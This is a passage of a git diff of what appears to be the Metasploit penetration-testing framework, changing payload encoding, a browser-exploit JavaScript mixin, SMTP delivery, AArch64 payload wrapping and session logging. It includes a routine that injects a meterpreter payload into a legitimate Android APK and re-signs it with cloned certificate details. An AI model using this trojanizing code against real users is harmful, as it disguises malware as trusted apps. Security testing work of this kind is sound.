encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt| reqs['Encoder'] = encoder_opt[0] @@ -129,6 +129,10 @@ class EncodedPayload # encoded attribute. # def encode + # Get the minimum number of nops to use + min = (reqs['MinNops'] || 0).to_i + min = 0 if reqs['DisableNops'] + # If the exploit needs the payload to be encoded, we need to run the list of # encoders in ranked precedence and try to encode with them. if needs_encoding @@ -245,10 +249,6 @@ class EncodedPayload break end - # Get the minimum number of nops to use - min = (reqs['MinNops'] || 0).to_i - min = 0 if reqs['DisableNops'] - # Check to see if we have enough room for the minimum requirements if ((reqs['Space']) and (reqs['Space'] < eout.length + min)) wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}", @@ -284,6 +284,11 @@ class EncodedPayload ilog("#{pinst.refname}: payload contains no badchars, skipping automatic encoding", 'core', LEV_0) end + if reqs['Space'] and (reqs['Space'] < raw.length + min) + wlog("#{pinst.refname}: Raw (unencoded) payload is too large (#{raw.length} bytes)", 'core', LEV_1) + raise PayloadSpaceViolation, 'The payload exceeds the specified space', caller + end + self.encoded = raw end @@ -530,7 +535,7 @@ protected attr_accessor :reqs def needs_encoding - reqs['Encoder'] || reqs['ForceEncode'] || has_chars?(reqs['BadChars']) + !reqs['Encoder'].blank? || reqs['ForceEncode'] || has_chars?(reqs['BadChars']) end def has_chars?(chars) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index e752a52e16..5a7ccedb80 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -125,6 +125,8 @@ module Exploit::EXE if plat.index(Msf::Module::Platform::Linux) if opts[:arch] && opts[:arch].index(ARCH_X64) dll = Msf::Util::EXE.to_linux_x64_elf_dll(framework, pl,opts) + elsif opts[:arch] && opts[:arch].index(ARCH_AARCH64) + dll = Msf::Util::EXE.to_linux_aarch64_elf_dll(framework, pl,opts) end elsif plat.index(Msf::Module::Platform::Windows) if opts[:arch] && opts[:arch].index(ARCH_X64) diff --git a/lib/msf/core/exploit/remote/http_server/browser_exploit.rb b/lib/msf/core/exploit/remote/http_server/browser_exploit.rb new file mode 100644 index 0000000000..de46633328 --- /dev/null +++ b/lib/msf/core/exploit/remote/http_server/browser_exploit.rb @@ -0,0 +1,64 @@ + +module Msf + +### +# +# This module provides methods for browser exploitation via javascript +# +### +module Exploit::Remote::HttpServer::BrowserExploit + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super + register_advanced_options( + [ + OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]), + ], Exploit::Remote::HttpServer::BrowserExploit + ) + end + + def start_service(opts = {}) + super(opts) + + if datastore['DEBUG_EXPLOIT'] + add_print_status_resource + end + end + + def add_print_status_resource + proc = Proc.new do |cli, req| + print_status("[*] #{req.body}") + send_response(cli, '') + end + + vprint_status('Adding hardcoded URI /print') + begin + add_resource('Path' => '/print', 'Proc' => proc) + rescue RuntimeError => e + print_warning(e.message) + end + end + + def add_debug_print_js(jscript) + if datastore['DEBUG_EXPLOIT'] + debugjs = <<~JS + print = function(arg) { + var request = new XMLHttpRequest(); + request.open("POST", "/print", false); + request.send("" + arg); + }; + JS + + jscript = "#{debugjs}#{jscript}" + else + jscript.gsub!(%r{//.*$}, '') # strip comments + jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); + end + jscript + end + +end + +end diff --git a/lib/msf/core/exploit/remote/smtp_deliver.rb b/lib/msf/core/exploit/remote/smtp_deliver.rb index c0a136e3ee..d44609f8ce 100755 --- a/lib/msf/core/exploit/remote/smtp_deliver.rb +++ b/lib/msf/core/exploit/remote/smtp_deliver.rb @@ -80,7 +80,7 @@ module Exploit::Remote::SMTPDeliver if res =~ /STARTTLS/ print_status("Starting tls") - raw_send_recv("STARTTLS\r\n", nsock) + smtp_send_recv("STARTTLS\r\n", nsock) [:high, :medium, :default].each do |level| begin @@ -91,12 +91,12 @@ module Exploit::Remote::SMTPDeliver print_status 'Could not negotiate SSL, falling back to older ciphers' nsock.close nsock, res = connect_ehlo(global) - raw_send_recv("STARTTLS\r\n", nsock) + smtp_send_recv("STARTTLS\r\n", nsock) raise if level == :default end end - res = raw_send_recv("EHLO #{domain}\r\n", nsock) + res = smtp_send_recv("EHLO #{domain}\r\n", nsock) end unless datastore['PASSWORD'].empty? and datastore["USERNAME"].empty? @@ -106,7 +106,7 @@ module Exploit::Remote::SMTPDeliver # Have to double the username. SMTP auth is weird user = "#{datastore["USERNAME"]}\0" * 2 auth = Rex::Text.encode_base64("#{user}#{datastore["PASSWORD"]}") - res = raw_send_recv("AUTH PLAIN #{auth}\r\n", nsock) + res = smtp_send_recv("AUTH PLAIN #{auth}\r\n", nsock) unless res[0..2] == '235' print_error("Authentication failed, quitting") disconnect(nsock) @@ -119,9 +119,9 @@ module Exploit::Remote::SMTPDeliver if datastore["USERNAME"] and not datastore["USERNAME"].empty? user = Rex::Text.encode_base64("#{datastore["USERNAME"]}") auth = Rex::Text.encode_base64("#{datastore["PASSWORD"]}") - raw_send_recv("AUTH LOGIN\r\n",nsock) - raw_send_recv("#{user}\r\n",nsock) - res = raw_send_recv("#{auth}\r\n",nsock) + smtp_send_recv("AUTH LOGIN\r\n", nsock) + smtp_send_recv("#{user}\r\n", nsock) + res = smtp_send_recv("#{auth}\r\n", nsock) unless res[0..2] == '235' print_error("Authentication failed, quitting") disconnect(nsock) @@ -147,7 +147,7 @@ module Exploit::Remote::SMTPDeliver vprint_status("Connecting to SMTP server #{rhost}:#{rport}...") nsock = connect(global) - [nsock, raw_send_recv("EHLO #{domain}\r\n", nsock)] + [nsock, smtp_send_recv("EHLO #{domain}\r\n", nsock)] end def bad_address(address) @@ -181,10 +181,10 @@ module Exploit::Remote::SMTPDeliver nsock = connect_login(false) end - raw_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock) - res = raw_send_recv("RCPT TO: <#{mailto}>\r\n", nsock) + smtp_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock) + res = smtp_send_recv("RCPT TO: <#{mailto}>\r\n", nsock) if res && res[0..2] == '250' - resp = raw_send_recv("DATA\r\n", nsock) + resp = smtp_send_recv("DATA\r\n", nsock) # If the user supplied a Date field, use that, else use the current # DateTime in the proper RFC2822 format. @@ -211,7 +211,7 @@ module Exploit::Remote::SMTPDeliver full_msg << data # Escape leading dots in the mail messages so there are no false EOF full_msg.gsub!(/(?m)^\./, '..') - send_status = raw_send_recv("#{full_msg}\r\n.\r\n", nsock) + send_status = smtp_send_recv("#{full_msg}\r\n.\r\n", nsock) end else print_error "Server refused to send to <#{mailto}>" @@ -226,12 +226,14 @@ module Exploit::Remote::SMTPDeliver end def disconnect(nsock=self.sock) - raw_send_recv("QUIT\r\n", nsock) + smtp_send_recv("QUIT\r\n", nsock) super @connected = false end - def raw_send_recv(cmd, nsock=self.sock) + # Send and receive a single command using SMTP protocol + # allowing for response continuation + def smtp_send_recv(cmd, nsock=self.sock) return false if not nsock if cmd =~ /AUTH PLAIN/ # Don't print the user's plaintext password @@ -244,7 +246,11 @@ module Exploit::Remote::SMTPDeliver begin nsock.put(cmd) res = nsock.get_once - rescue + while !(res =~ /(^|\r\n)\d{3}( .*|)\r\n$/) && chunk = nsock.get_once + res += chunk + end + raise RuntimeError.new("SMTP response is incomplete or contains extra data") unless res =~ /(^|\r\n)\d{3}( .*|)\r\n$/ + rescue EOFError return nil end # Don't truncate the server output because it might be helpful for diff --git a/lib/msf/core/feature_manager.rb b/lib/msf/core/feature_manager.rb index 9bba357dc5..f7638551e0 100644 --- a/lib/msf/core/feature_manager.rb +++ b/lib/msf/core/feature_manager.rb @@ -15,6 +15,7 @@ module Msf CONFIG_KEY = 'framework/features' WRAPPED_TABLES = 'wrapped_tables' FULLY_INTERACTIVE_SHELLS = 'fully_interactive_shells' + SERVICEMANAGER_COMMAND = 'servicemanager_command' DEFAULTS = [ { name: WRAPPED_TABLES, @@ -25,6 +26,11 @@ module Msf name: FULLY_INTERACTIVE_SHELLS, description: 'When enabled you will have the option to drop into a fully interactive shell from within meterpreter', default_value: false + }.freeze, + { + name: SERVICEMANAGER_COMMAND, + description: 'When enabled you will have access to the _servicemanager command', + default_value: false }.freeze ].freeze diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 76990f4364..89678705ea 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -125,10 +125,28 @@ class Msf::Payload::Apk def parse_orig_cert_data(orig_apkfile) orig_cert_data = Array[] keytool_output = run_cmd(['keytool', '-J-Duser.language=en', '-printcert', '-jarfile', orig_apkfile]) - owner_line = keytool_output.match(/^Owner:.+/)[0] + + if keytool_output.include?('keytool error: ') + raise RuntimeError, "keytool could not parse APK file: #{keytool_output}" + end + + if keytool_output.start_with?('Not a signed jar file') + raise RuntimeError, 'APK file is unsigned' + end + + owner_line = keytool_output.scan(/^Owner:.+/).flatten.first + if owner_line.blank? + raise RuntimeError, "Could not extract certificate owner: #{keytool_output}" + end + orig_cert_dname = owner_line.gsub(/^.*:/, '').strip orig_cert_data.push("#{orig_cert_dname}") - valid_from_line = keytool_output.match(/^Valid from:.+/)[0] + + valid_from_line = keytool_output.scan(/^Valid from:.+/).flatten.first + if valid_from_line.empty? + raise RuntimeError, "Could not extract certificate date: #{keytool_output}" + end + from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip from_date = DateTime.parse("#{from_date_str}") @@ -139,21 +157,42 @@ class Msf::Payload::Apk return orig_cert_data end + def check_apktool_output_for_exceptions(apktool_output) + if apktool_output.to_s.include?('Exception in thread') + print_error(apktool_output) + raise RuntimeError, "apktool execution failed" + end + end + def backdoor_apk(apkfile, raw_payload, signature = true, manifest = true, apk_data = nil, service = true) unless apk_data || apkfile && File.readable?(apkfile) usage raise RuntimeError, "Invalid template: #{apkfile}" end - apktool = run_cmd(%w[apktool -version]) - if apktool.nil? + check_apktool = run_cmd(%w[apktool -version]) + if check_apktool.nil? raise RuntimeError, "apktool not found. If it's not in your PATH, please add it." end - apk_v = Rex::Version.new(apktool.split("\n").first.strip) + if check_apktool.to_s.include?('java: not found') + raise RuntimeError, "java not found. If it's not in your PATH, please add it." + end + + jar_name = 'apktool.jar' + if check_apktool.to_s.include?("can't find #{jar_name}") + raise RuntimeError, "#{jar_name} not found. This file must exist in the same directory as apktool." + end + + check_apktool_output_for_exceptions(check_apktool) + + apk_v = Rex::Version.new(check_apktool.split("\n").first.strip) unless apk_v >= Rex::Version.new('2.0.1') raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1." end + unless apk_v >= Rex::Version.new('2.5.1') + print_warning("apktool version #{apk_v} is outdated and may fail to decompile some apk files. Update apktool to the latest version.") + end #Create temporary directory where work will be done tempdir = Dir.mktmpdir @@ -170,9 +209,9 @@ class Msf::Payload::Apk raise RuntimeError, "keytool not found. If it's not in your PATH, please add it." end - jarsigner = run_cmd(['jarsigner']) - unless jarsigner != nil - raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it." + apksigner = run_cmd(['apksigner']) + if apksigner.nil? + raise RuntimeError, "apksigner not found. If it's not in your PATH, please add it." end zipalign = run_cmd(['zipalign']) @@ -184,23 +223,31 @@ class Msf::Payload::Apk storepass = "android" keypass = "android" keyalias = "signing.key" + orig_cert_data = parse_orig_cert_data(apkfile) orig_cert_dname = orig_cert_data[0] orig_cert_startdate = orig_cert_data[1] orig_cert_validity = orig_cert_data[2] print_status "Creating signing key and keystore..\n" - run_cmd([ + keytool_output = run_cmd([ 'keytool', '-genkey', '-v', '-keystore', keystore, '-alias', keyalias, '-storepass', storepass, '-keypass', keypass, '-keyalg', 'RSA', '-keysize', '2048', '-startdate', orig_cert_startdate, '-validity', orig_cert_validity, '-dname', orig_cert_dname ]) + + if keytool_output.include?('keytool error: ') + raise RuntimeError, "keytool could not generate key: #{keytool_output}" + end end print_status "Decompiling original APK..\n" - run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '-o', "#{tempdir}/original"]) + apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '-o', "#{tempdir}/original"]) + check_apktool_output_for_exceptions(apktool_output) + print_status "Decompiling payload APK..\n" - run_cmd(['apktool', 'd', "#{tempdir}/payload.apk", '-o', "#{tempdir}/payload"]) + apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/payload.apk", '-o', "#{tempdir}/payload"]) + check_apktool_output_for_exceptions(apktool_output) amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") @@ -277,19 +324,36 @@ class Msf::Payload::Apk print_status "Rebuilding apk with meterpreter injection as #{injected_apk}\n" apktool_output = run_cmd(['apktool', 'b', '-o', injected_apk, "#{tempdir}/original"]) + check_apktool_output_for_exceptions(apktool_output) + unless File.readable?(injected_apk) print_error apktool_output raise RuntimeError, "Unable to rebuild apk with apktool" end if signature - print_status "Signing #{injected_apk}\n" - run_cmd([ - 'jarsigner', '-sigalg', 'SHA1withRSA', '-digestalg', 'SHA1', '-keystore', keystore, - '-storepass', storepass, '-keypass', keypass, injected_apk, keyalias - ]) print_status "Aligning #{injected_apk}\n" - run_cmd(['zipalign', '4', injected_apk, aligned_apk]) + zipalign_output = run_cmd(['zipalign', '4', injected_apk, aligned_apk]) + + unless File.readable?(aligned_apk) + print_error(zipalign_output) + raise RuntimeError, 'Unable to align apk with zipalign.' + end + + print_status "Signing #{aligned_apk} with apksigner\n" + apksigner_output = run_cmd([ + 'apksigner', 'sign', '--ks', keystore, '--ks-pass', "pass:#{storepass}", aligned_apk + ]) + if apksigner_output.to_s.include?('Failed') + print_error(apksigner_output) + raise RuntimeError, 'Signing with apksigner failed.' + end + + apksigner_verify = run_cmd(['apksigner', 'verify', '--verbose', aligned_apk]) + if apksigner_verify.to_s.include?('DOES NOT VERIFY') + print_error(apksigner_verify) + raise RuntimeError, 'Signature verification failed.' + end else aligned_apk = injected_apk end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index bcb8bd3d2e..e254e49b5e 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1914,6 +1914,18 @@ class Core print_warning("Changing the SSL option's value may require changing RPORT!") end + if name.casecmp?('SessionTlvLogging') + # Check if we need to append the default filename if user provided an output directory + if datastore[name].start_with?('file:') + pathname = ::Pathname.new(datastore[name].split('file:').last) + if ::File.directory?(pathname) + datastore[name] = ::File.join(datastore[name], 'sessiontlvlogging.txt') + end + end + + framework.sessions.each { |_index, session| session.initialize_tlv_logging(datastore[name]) } + end + print_line("#{name} => #{datastore[name]}") end diff --git a/lib/msf/ui/console/command_dispatcher/developer.rb b/lib/msf/ui/console/command_dispatcher/developer.rb index 8aaafdfc1c..00b8914b3c 100644 --- a/lib/msf/ui/console/command_dispatcher/developer.rb +++ b/lib/msf/ui/console/command_dispatcher/developer.rb @@ -9,6 +9,10 @@ class Msf::Ui::Console::CommandDispatcher::Developer '-e' => [true, 'Expression to evaluate.'] ) + @@_servicemanager_opts = Rex::Parser::Arguments.new( + ['-l', '--list'] => [false, 'View the currently running services' ] + ) + def initialize(driver) super end @@ -18,7 +22,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer end def commands - { + commands = { 'irb' => 'Open an interactive Ruby shell in the current context', 'pry' => 'Open the Pry debugger on the current module or Framework', 'edit' => 'Edit the current module or a file with the preferred editor', @@ -26,6 +30,10 @@ class Msf::Ui::Console::CommandDispatcher::Developer 'log' => 'Display framework.log paged to the end if possible', 'time' => 'Time how long it takes to run a particular command' } + if framework.features.enabled?(Msf::FeatureManager::SERVICEMANAGER_COMMAND) + commands['_servicemanager'] = 'Interact with the Rex::ServiceManager' + end + commands end def local_editor @@ -77,7 +85,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer files = output.split("\n") files.each do |file| - next if file.end_with?('_spec.rb') + next if file.end_with?('_spec.rb') || file.end_with?("spec_helper.rb") f = File.join(Msf::Config.install_root, file) reload_file(f, print_errors: false) end @@ -312,6 +320,63 @@ class Msf::Ui::Console::CommandDispatcher::Developer end end + # + # Interact with framework's service manager + # + def cmd__servicemanager(*args) + if args.include?('-h') || args.include?('--help') + cmd__servicemanager_help + return false + end + + opts = {} + @@_servicemanager_opts.parse(args) do |opt, idx, val| + case opt + when '-l', '--list' + opts[:list] = true + end + end + + if opts.empty? + opts[:list] = true + end + + if opts[:list] + table = Rex::Text::Table.new( + 'Header' => 'Services', + 'Indent' => 1, + 'Columns' => ['Id', 'Name', 'References'] + ) + Rex::ServiceManager.instance.each.with_index do |(name, instance), id| + # TODO: Update rex-core to support querying the reference count + table << [id, name, instance.instance_variable_get(:@_references)] + end + + if table.rows.empty? + print_status("No framework services are currently running.") + else + print_line(table.to_s) + end + end + end + + # + # Tab completion for the _servicemanager command + # + def cmd__servicemanager_tabs(_str, words) + return [] if words.length > 1 + + @@_servicemanager_opts.option_keys + end + + def cmd__servicemanager_help + print_line 'Usage: servicemanager' + print_line + print_line 'Manage running framework services' + print @@_servicemanager_opts.usage + print_line + end + # # Time how long in seconds a command takes to execute # diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 7e34cef23a..900e16b775 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -1439,6 +1439,7 @@ module Msf [ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ], [ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ], [ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ], + [ 'SessionTlvLogging', framework.datastore['SessionTlvLogging'] || "false", 'Log all incoming and outgoing TLV packets' ], [ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ], [ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ], [ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ], diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb index f6004d2322..9ed5149960 100644 --- a/lib/msf/ui/console/command_dispatcher/payload.rb +++ b/lib/msf/ui/console/command_dispatcher/payload.rb @@ -58,7 +58,7 @@ module Msf } } - handler.datastore.merge!(mod.datastore) + handler.share_datastore(mod.datastore) handler.exploit_simple(handler_opts) job_id = handler.job_id diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index b0a9b60e6a..66d2f27317 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -393,6 +393,8 @@ class Driver < Msf::Ui::Driver case var.downcase when 'sessionlogging' handle_session_logging(val) if glob + when 'sessiontlvlogging' + handle_session_tlv_logging(val) if glob when 'consolelogging' handle_console_logging(val) if glob when 'loglevel' @@ -412,6 +414,8 @@ class Driver < Msf::Ui::Driver case var.downcase when 'sessionlogging' handle_session_logging('0') if glob + when 'sessiontlvlogging' + handle_session_tlv_logging('false') if glob when 'consolelogging' handle_console_logging('0') if glob when 'loglevel' @@ -601,6 +605,53 @@ protected $VERBOSE = verbose end + def handle_session_tlv_logging(val) + if val + if val.casecmp?('console') || val.casecmp?('true') || val.casecmp?('false') + return true + elsif val.start_with?('file:') && !val.split('file:').empty? + pathname = ::Pathname.new(val.split('file:').last) + + # Check if we want to write the log to file + if ::File.file?(pathname) + if ::File.writable?(pathname) + return true + else + print_status "No write permissions for log output file: #{pathname}" + return false + end + # Check if we want to write the log file to a directory + elsif ::File.directory?(pathname) + if ::File.writable?(pathname) + return true + else + print_status "No write permissions for log output directory: #{pathname}" + return false + end + # Check if the subdirectory exists + elsif ::File.directory?(pathname.dirname) + if ::File.writable?(pathname.dirname) + return true + else + print_status "No write permissions for log output directory: #{pathname.dirname}" + return false + end + else + # Else the directory doesn't exist. Check if we can create it. + begin + ::FileUtils.mkdir_p(pathname.dirname) + return true + rescue ::StandardError => e + print_status "Error when trying to create directory #{pathname.dirname}: #{e.message}" + return false + end + end + end + end + + false + end + # Require the appropriate readline library based on the user's preference. # # @return [void] diff --git a/lib/msf/ui/console/module_option_tab_completion.rb b/lib/msf/ui/console/module_option_tab_completion.rb index d4bde443d9..bf8a4c6f73 100644 --- a/lib/msf/ui/console/module_option_tab_completion.rb +++ b/lib/msf/ui/console/module_option_tab_completion.rb @@ -67,6 +67,7 @@ module Msf PromptChar PromptTimeFormat MeterpreterPrompt + SessionTlvLogging ] if !mod return res @@ -122,6 +123,10 @@ module Msf # Provide tab completion for option values # def tab_complete_option_values(mod, str, words, opt:) + if words.last.casecmp?('SessionTlvLogging') + return %w[console true false file:] + end + res = [] # With no module, we have nothing to complete if !mod diff --git a/lib/msf/util/document_generator/pull_request_finder.rb b/lib/msf/util/document_generator/pull_request_finder.rb index 43d4ba2879..f5c1c5ced5 100644 --- a/lib/msf/util/document_generator/pull_request_finder.rb +++ b/lib/msf/util/document_generator/pull_request_finder.rb @@ -81,6 +81,8 @@ module Msf commits = git_client.commits(repository, branch, path: path) rescue Faraday::ConnectionFailed raise PullRequestFinder::Exception, 'No network connection to Github.' + rescue Octokit::Unauthorized + raise PullRequestFinder::Exception, 'Github Authentication Failed.' end if commits.empty? diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 1c5cf8ded6..dbe1809068 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1128,6 +1128,17 @@ require 'digest/sha1' to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code) end + # Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_aarch64_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code) + end + # Create a 64-bit Linux ELF_DYN containing the payload provided in +code+ # # @param framework [Msf::Framework] @@ -2087,6 +2098,8 @@ require 'digest/sha1' to_linux_x64_elf_dll(framework, code, exeopts) when ARCH_ARMLE to_linux_armle_elf_dll(framework, code, exeopts) + when ARCH_AARCH64 + to_linux_aarch64_elf_dll(framework, code, exeopts) end end when 'macho', 'osx-app' diff --git a/lib/rex/job.rb b/lib/rex/job.rb index 2037eff555..e907a35f37 100644 --- a/lib/rex/job.rb +++ b/lib/rex/job.rb @@ -20,6 +20,18 @@ class Job self.clean_proc = clean_proc self.ctx = ctx self.start_time = nil + self.cleanup_mutex = Mutex.new + self.cleaned_up = false + end + + def synchronized_cleanup + # Avoid start and stop both calling cleanup + self.cleanup_mutex.synchronize do + unless cleaned_up + self.cleaned_up = true + self.clean_proc.call(ctx) if self.clean_proc + end + end end # @@ -36,7 +48,7 @@ class Job begin run_proc.call(ctx) ensure - clean_proc.call(ctx) + synchronized_cleanup container.remove_job(self) end } @@ -59,7 +71,7 @@ class Job self.job_thread = nil end - clean_proc.call(ctx) if (clean_proc) + synchronized_cleanup end # @@ -92,6 +104,8 @@ protected attr_accessor :clean_proc #:nodoc: attr_writer :ctx #:nodoc: attr_writer :start_time #:nodoc: + attr_accessor :cleanup_mutex #:nodoc: + attr_accessor :cleaned_up #:nodoc: end diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 5c5aa9e009..387c980273 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -111,6 +111,8 @@ class Client end shutdown_passive_dispatcher + + shutdown_tlv_logging end # @@ -165,6 +167,8 @@ class Client end end + initialize_tlv_logging(opts[:tlv_log]) unless opts[:tlv_log].nil? + # Protocol specific dispatch mixins go here, this may be neader with explicit Client classes opts[:dispatch_ext].each {|dx| self.extend(dx)} if opts[:dispatch_ext] initialize_passive_dispatcher if opts[:passive_dispatcher] @@ -502,4 +506,3 @@ protected end end; end; end - diff --git a/lib/rex/post/meterpreter/command_mapper.rb b/lib/rex/post/meterpreter/command_mapper.rb index 67546e627e..8d039ec09a 100644 --- a/lib/rex/post/meterpreter/command_mapper.rb +++ b/lib/rex/post/meterpreter/command_mapper.rb @@ -9,6 +9,7 @@ module Post module Meterpreter class CommandMapper + @@cached_tlv_types = {} # Get the numeric command ID for the specified command name. # @@ -97,6 +98,36 @@ class CommandMapper commands end + + # Get the TLV Type symbols that are defined with the value + # Potential return values are [], [:TLV_TYPE_A], and [:TLV_TYPE_A, :PACKET_TYPE_B] + # + # Returning an array is a solution to having multiple TLV types having the same value, as documented here: + # https://github.com/rapid7/metasploit-framework/issues/16267 + # + # @param Integer value The value of the TLV type to retrieve the TLV type names for. + # @return [Array] An array of symbols of all TLV types that are defined with the value. Can be empty. + def self.get_tlv_names(value) + return @@cached_tlv_types[value] unless @@cached_tlv_types[value].nil? || @@cached_tlv_types[value].empty? + + # Default to arrays that contain TLV Types, so that we only deal with one data type + @@cached_tlv_types = Hash.new { |h, k| h[k] = [] } + + available_modules = [ + ::Rex::Post::Meterpreter, + *::Rex::Post::Meterpreter::ExtensionMapper.get_extension_klasses + ].uniq + + available_modules.each do |mod| + mod.constants.each do |const| + next unless const.to_s.start_with?('TLV_TYPE_') || const.to_s.start_with?('PACKET_') + + @@cached_tlv_types[mod.const_get(const)] << const + end + end + + @@cached_tlv_types[value] + end end end diff --git a/lib/rex/post/meterpreter/extension_mapper.rb b/lib/rex/post/meterpreter/extension_mapper.rb index 81fa7f16f2..1d6cee6948 100644 --- a/lib/rex/post/meterpreter/extension_mapper.rb +++ b/lib/rex/post/meterpreter/extension_mapper.rb @@ -89,6 +89,10 @@ class ExtensionMapper @@klasses[name] end + def self.get_extension_klasses + self.get_extension_names.map { |name| self.get_extension_module(name) } + end + def self.dump_extensions self.get_extension_names.each { |n| STDERR.puts("EXTENSION_ID_#{n.upcase} = #{self.get_extension_id(n)}\n") diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index de246dda87..005cb0b3c3 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -314,6 +314,22 @@ class Tlv end end + def _tlv_type_string(value) + tlv_names = ::Rex::Post::Meterpreter::CommandMapper.get_tlv_names(value).map { |name| name.to_s.gsub('TLV_TYPE_', '').gsub('PACKET_TYPE_', '') } + + case tlv_names.length + when 0 + "unknown-#{value}" + when 1 + tlv_names.first + else + # In the off-chance we have multiple TLV types which have the same value + # https://github.com/rapid7/metasploit-framework/issues/16267 + # Sort it to ensure consistency across tests + "oneOf(#{tlv_names.sort_by(&:to_s).join(',')})" + end + end + def inspect utype = type ^ TLV_META_TYPE_COMPRESSED group = false @@ -327,79 +343,36 @@ class Tlv when TLV_META_TYPE_COMPLEX; "COMPLEX" else; 'unknown-meta-type' end + stype = case type - when PACKET_TYPE_REQUEST; "Request" - when PACKET_TYPE_RESPONSE; "Response" - when TLV_TYPE_REQUEST_ID; "REQUEST-ID" - when TLV_TYPE_COMMAND_ID; "COMMAND-ID" - when TLV_TYPE_RESULT; "RESULT" - when TLV_TYPE_EXCEPTION; "EXCEPTION" - when TLV_TYPE_STRING; "STRING" - when TLV_TYPE_UINT; "UINT" - when TLV_TYPE_BOOL; "BOOL" - - when TLV_TYPE_LENGTH; "LENGTH" - when TLV_TYPE_DATA; "DATA" - when TLV_TYPE_FLAGS; "FLAGS" - - when TLV_TYPE_CHANNEL_ID; "CHANNEL-ID" - when TLV_TYPE_CHANNEL_TYPE; "CHANNEL-TYPE" - when TLV_TYPE_CHANNEL_DATA; "CHANNEL-DATA" - when TLV_TYPE_CHANNEL_DATA_GROUP; "CHANNEL-DATA-GROUP" - when TLV_TYPE_CHANNEL_CLASS; "CHANNEL-CLASS" - when TLV_TYPE_CHANNEL_PARENTID; "CHANNEL-PARENTID" - - when TLV_TYPE_SEEK_WHENCE; "SEEK-WHENCE" - when TLV_TYPE_SEEK_OFFSET; "SEEK-OFFSET" - when TLV_TYPE_SEEK_POS; "SEEK-POS" - - when TLV_TYPE_EXCEPTION_CODE; "EXCEPTION-CODE" - when TLV_TYPE_EXCEPTION_STRING; "EXCEPTION-STRING" - - when TLV_TYPE_LIBRARY_PATH; "LIBRARY-PATH" - when TLV_TYPE_TARGET_PATH; "TARGET-PATH" - when TLV_TYPE_MIGRATE_PID; "MIGRATE-PID" - when TLV_TYPE_MIGRATE_PAYLOAD; "MIGRATE-PAYLOAD" - when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH" - when TLV_TYPE_MIGRATE_BASE_ADDR; "MIGRATE-BASE-ADDR" - when TLV_TYPE_MIGRATE_ENTRY_POINT; "MIGRATE-ENTRY-POINT" - when TLV_TYPE_MIGRATE_STUB; "MIGRATE-STUB" - when TLV_TYPE_MIGRATE_SOCKET_PATH; "MIGRATE-SOCKET-PATH" - when TLV_TYPE_LIB_LOADER_NAME; "LIB-LOADER-NAME" - when TLV_TYPE_LIB_LOADER_ORDINAL; "LIB-LOADER-ORDINAL" - when TLV_TYPE_TRANS_TYPE; "TRANS-TYPE" - when TLV_TYPE_TRANS_URL; "TRANS-URL" - when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT" - when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP" - when 